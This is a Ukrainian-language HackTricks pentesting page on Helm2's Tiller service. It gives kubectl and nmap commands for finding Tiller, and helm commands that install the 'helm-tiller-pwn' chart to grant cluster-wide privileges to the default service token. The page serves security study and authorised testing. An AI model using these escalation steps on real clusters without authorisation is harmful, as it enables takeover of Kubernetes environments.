tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Helm є менеджером пакетів для Kubernetes. Він дозволяє пакувати YAML файли та розповсюджувати їх у публічних і приватних репозиторіях. Ці пакети називаються Helm Charts. Tiller є сервісом, який запускається за замовчуванням на порту 44134, пропонуючи цю послугу.
Порт за замовчуванням: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Перерахування
Якщо ви можете перерахувати поди та/або сервіси різних просторових імен, перераховуйте їх і шукайте ті, що містять "tiller" у своїй назві:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Приклади:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Ви також можете спробувати знайти цю службу, перевіряючи порт 44134:
sudo nmap -sS -p 44134 <IP>
Як тільки ви його виявите, ви можете зв'язатися з ним, завантаживши клієнтський додаток helm. Ви можете використовувати інструменти, такі як homebrew
, або переглянути сторінку офіційних релізів. Для отримання додаткової інформації або інших варіантів дивіться посібник з установки.
Тоді ви можете перерахувати сервіс:
helm --host tiller-deploy.kube-system:44134 version
Підвищення привілеїв
За замовчуванням Helm2 був встановлений у namespace kube-system з високими привілеями, тому якщо ви знайдете сервіс і матимете до нього доступ, це може дозволити вам підвищити привілеї.
Все, що вам потрібно зробити, це встановити пакет, подібний до цього: https://github.com/Ruil1n/helm-tiller-pwn, який надасть доступ до всього в усьому кластері для токена сервісу за замовчуванням.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
В http://rui0.cn/archives/1573 ви маєте пояснення атаки, але в основному, якщо ви прочитаєте файли clusterrole.yaml та clusterrolebinding.yaml всередині helm-tiller-pwn/pwnchart/templates/ ви можете побачити, як всі привілеї надаються за замовчуванням токену.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.